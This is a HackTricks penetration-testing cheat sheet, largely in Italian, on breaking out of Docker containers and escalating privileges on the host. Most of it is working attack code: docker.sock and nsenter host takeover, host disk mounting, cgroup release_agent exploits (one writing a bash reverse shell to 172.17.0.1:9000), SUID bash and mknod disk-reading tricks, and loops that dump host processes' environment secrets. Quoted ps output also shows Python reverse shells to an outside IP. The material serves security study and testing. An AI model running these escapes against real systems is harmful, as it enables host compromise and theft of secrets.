Docker Breakout / Privilege Escalation

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!

• Ottieni il merchandising ufficiale di PEASS & HackTricks

• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.

• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo. Ottieni l'accesso oggi:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Enumerazione Automatica & Fuga

• linpeas: Può anche enumerare i container

• CDK: Questo strumento è abbastanza utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente

• amicontained: Strumento utile per ottenere i privilegi del container al fine di trovare modi per fuggirne

• deepce: Strumento per enumerare e fuggire dai container

• grype: Ottieni i CVE contenuti nel software installato nell'immagine

Fuga dal Socket Docker Montato

Se in qualche modo scopri che il socket docker è montato all'interno del container docker, sarai in grado di fuggirne. Questo di solito accade nei container docker che per qualche motivo devono connettersi al demone docker per eseguire azioni.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In questo caso è possibile utilizzare i comandi docker regolari per comunicare con il demone docker:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Nel caso in cui il socket di Docker si trovi in un posto inaspettato, è comunque possibile comunicare con esso utilizzando il comando docker con il parametro -H unix:///percorso/a/docker.sock

Il demone Docker potrebbe anche essere in ascolto su una porta (di default 2375, 2376) o nei sistemi basati su Systemd, la comunicazione con il demone Docker può avvenire tramite il socket Systemd fd://.

Inoltre, prestare attenzione ai socket di runtime di altri runtime di alto livello:

• dockershim: unix:///var/run/dockershim.sock

• containerd: unix:///run/containerd/containerd.sock

• cri-o: unix:///var/run/crio/crio.sock

• frakti: unix:///var/run/frakti.sock

• rktlet: unix:///var/run/rktlet.sock

• ...

Fuga dall'Abuso delle Capacità

Dovresti controllare le capacità del container, se ha una qualsiasi delle seguenti, potresti essere in grado di evadere da esso: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Puoi controllare le capacità attuali del container utilizzando gli strumenti automatici precedentemente menzionati o:

capsh --print

Nella seguente pagina puoi scoprire di più sulle capacità di Linux e su come abusarle per evadere/escalare i privilegi:

pageLinux Capabilities

Fuga da Container Privilegiati

Un container privilegiato può essere creato con il flag --privileged o disabilitando specifiche difese:

• --cap-add=ALL

• --security-opt apparmor=unconfined

• --security-opt seccomp=unconfined

• --security-opt label:disable

• --pid=host

• --userns=host

• --uts=host

• --cgroupns=host

• Montare /dev

Il flag --privileged abbassa significativamente la sicurezza del container, offrendo accesso illimitato ai dispositivi e aggirando diverse protezioni. Per una panoramica dettagliata, consulta la documentazione sugli impatti completi di --privileged.

pageDocker --privileged

Privileged + hostPID

Con questi permessi puoi semplicemente passare allo spazio dei nomi di un processo in esecuzione nell'host come root come init (pid:1) eseguendo: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Provalo in un container eseguendo:

docker run --rm -it --pid=host --privileged ubuntu bash

Privilegiato

Solo con il flag privilegiato puoi provare ad accedere al disco dell'host o provare a fuggire abusando di release_agent o di altre fuggite.

Testa i seguenti bypass in un container eseguendo:

docker run --rm -it --privileged ubuntu bash

Montaggio del disco - Poc1

I container Docker ben configurati non permetteranno comandi come fdisk -l. Tuttavia, su un comando Docker mal configurato in cui viene specificato il flag --privileged o --device=/dev/sda1 con le capacità, è possibile ottenere i privilegi per visualizzare il drive dell'host.

Quindi, per prendere il controllo della macchina host, è banale:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella /mnt/hola.

Montaggio Disco - Poc2

All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo sottostante dell'host tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Fuga di privilegi sfruttando l'agent di rilascio esistente (cve-2022-0492) - PoC1

PoC iniziale

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

Fuga di privilegi sfruttando il release_agent creato (cve-2022-0492) - PoC2

Secondo PoC

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Trova una spiegazione della tecnica in:

pageDocker release_agent cgroups escape

Fuga privilegiata sfruttando release_agent senza conoscere il percorso relativo - PoC3

Negli exploit precedenti viene rivelato il percorso assoluto del container all'interno del filesystem degli host. Tuttavia, questo non è sempre il caso. Nei casi in cui non si conosce il percorso assoluto del container all'interno dell'host è possibile utilizzare questa tecnica:

pagerelease_agent exploit - Relative Paths to PIDs

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Eseguire il PoC all'interno di un container privilegiato dovrebbe fornire un output simile a:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Fuga di privilegi sfruttando i mount sensibili

Ci sono diversi file che potrebbero essere montati che forniscono informazioni sull'host sottostante. Alcuni di essi potrebbero addirittura indicare qualcosa da eseguire dall'host quando accade qualcosa (il che permetterà a un attaccante di fuggire dal container). L'abuso di questi file potrebbe permettere che:

• release_agent (già trattato in precedenza)

• binfmt_misc

• core_pattern

• uevent_helper

• modprobe

Tuttavia, puoi trovare altri file sensibili da controllare in questa pagina:

pageSensitive Mounts

Mount arbitrari

In diverse occasioni potresti scoprire che il container ha alcuni volumi montati dall'host. Se questo volume non è stato configurato correttamente, potresti essere in grado di accedere/modificare dati sensibili: Leggere segreti, cambiare ssh authorized_keys...

docker run --rm -it -v /:/host ubuntu bash

Escalation dei privilegi con 2 shell e mount dell'host

Se hai accesso come root all'interno di un container che ha una cartella dell'host montata e sei scappato come utente non privilegiato sull'host e hai accesso in lettura sulla cartella montata. Puoi creare un file bash suid nella cartella montata all'interno del container e eseguirlo dall'host per ottenere privilegi elevati.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Escalatione dei privilegi con 2 shell

Se hai accesso come root all'interno di un container e sei scappato come utente non privilegiato all'host, puoi abusare di entrambe le shell per escalare i privilegi all'interno dell'host se hai la capacità MKNOD all'interno del container (è di default) come spiegato in questo post. Con tale capacità, all'utente root all'interno del container è consentito creare file di dispositivo a blocchi. I file di dispositivo sono file speciali utilizzati per accedere all'hardware sottostante e ai moduli del kernel. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per leggere i dati grezzi sul disco del sistema.

Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che blocca le operazioni di lettura/scrittura dei dispositivi a blocchi. Tuttavia, se un dispositivo a blocchi viene creato all'interno del container, diventa accessibile dall'esterno del container tramite la directory /proc/PID/root/. Questo accesso richiede che il proprietario del processo sia lo stesso sia all'interno che all'esterno del container.

Esempio di sfruttamento da questo articolo:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$

# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Se puoi accedere ai processi dell'host, sarai in grado di accedere a molte informazioni sensibili memorizzate in quei processi. Esegui il laboratorio di test:

docker run --rm -it --pid=host ubuntu bash

Per esempio, sarai in grado di elencare i processi utilizzando qualcosa del genere ps auxn e cercare dettagli sensibili nei comandi.

Quindi, poiché puoi accedere a ciascun processo dell'host in /proc/, puoi semplicemente rubare i loro segreti dell'ambiente eseguendo:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Puoi anche accedere ai descrittori di file di altri processi e leggere i file aperti:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Puoi anche interrompere i processi e causare un DoS.

Se in qualche modo hai accesso privilegiato su un processo al di fuori del container, potresti eseguire qualcosa come nsenter --target <pid> --all o nsenter --target <pid> --mount --net --pid --cgroup per eseguire una shell con le stesse restrizioni ns (sperabilmente nessuna) di quel processo.

hostNetwork

docker run --rm -it --network=host ubuntu bash

Se un container è configurato con il driver di rete host Docker (--network=host), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il container collega tutti i servizi direttamente all'IP dell'host. Inoltre, il container può intercettare TUTTO il traffico di rete che l'host sta inviando e ricevendo sull'interfaccia condivisa tcpdump -i eth0.

Ad esempio, è possibile utilizzare questo metodo per sniffare e persino falsificare il traffico tra l'host e l'istanza dei metadati.

Come nei seguenti esempi:

• Articolo: Come contattare Google SRE: Inserimento di una shell in cloud SQL

• MITM del servizio dei metadati consente l'escalation dei privilegi di root (EKS / GKE)

Sarà inoltre possibile accedere ai servizi di rete collegati a localhost all'interno dell'host o persino accedere alle autorizzazioni dei metadati del nodo (che potrebbero essere diverse da quelle a cui un container può accedere).

hostIPC

docker run --rm -it --ipc=host ubuntu bash

Con hostIPC=true, si ottiene accesso alle risorse di comunicazione inter-processo (IPC) dell'host, come la memoria condivisa in /dev/shm. Ciò consente la lettura/scrittura dove le stesse risorse IPC sono utilizzate da altri processi dell'host o del pod. Utilizzare ipcs per ispezionare ulteriormente questi meccanismi IPC.

• Ispeziona /dev/shm - Cerca eventuali file in questa posizione di memoria condivisa: ls -la /dev/shm

• Ispeziona le strutture IPC esistenti - È possibile verificare se vengono utilizzate strutture IPC con /usr/bin/ipcs. Controllalo con: ipcs -a

Recupera le capacità

Se la chiamata di sistema unshare non è vietata, è possibile recuperare tutte le capacità eseguendo:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Abuso dello spazio dei nomi utente tramite symlink

La seconda tecnica spiegata nel post https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ indica come è possibile abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file).

Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

Automate OffSec, EASM, and Custom Security Processes | Trickest

CVE

Exploit di Runc (CVE-2019-5736)

Nel caso in cui tu possa eseguire docker exec come root (probabilmente con sudo), puoi provare a elevare i privilegi sfuggendo da un container abusando di CVE-2019-5736 (exploit qui). Questa tecnica sovrascriverà essenzialmente il binario /bin/sh dell'host da un container, quindi chiunque esegua docker exec potrebbe attivare il payload.

Modifica il payload di conseguenza e compila il main.go con go build main.go. Il binario risultante dovrebbe essere posizionato nel container Docker per l'esecuzione. All'esecuzione, non appena visualizza [+] Sovrascritto /bin/sh con successo, è necessario eseguire quanto segue dalla macchina host:

docker exec -it <nome-container> /bin/sh

Questo attiverà il payload presente nel file main.go.

Per ulteriori informazioni: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Il container potrebbe essere vulnerabile ad altre CVE, è possibile trovarne un elenco in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Fuga personalizzata di Docker

Superficie di fuga di Docker

• Namespace: Il processo dovrebbe essere completamente separato dagli altri processi tramite namespace, quindi non possiamo sfuggire interagendo con altri processi a causa dei namespace (per impostazione predefinita non può comunicare tramite IPC, socket Unix, servizi di rete, D-Bus, /proc di altri processi).

• Utente root: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati).

• Capacità: Docker lascia le seguenti capacità: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

• Syscall: Questi sono i syscall che l'utente root non potrà chiamare (a causa della mancanza di capacità + Seccomp). Gli altri syscall potrebbero essere utilizzati per cercare di sfuggire.

x64 syscalls

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

chiamate di sistema arm64

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

syscall_bf.c

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

• Find the path of the containers filesystem inside the host

• You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

• Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

• You should be able to execute the trigger from inside the host

• You need to know where the containers files are located inside the host to indicate a script you write inside the host

• Have enough capabilities and disabled protections to be able to abuse that functionality

• You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

• https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB

• https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

• https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html

• https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

• https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.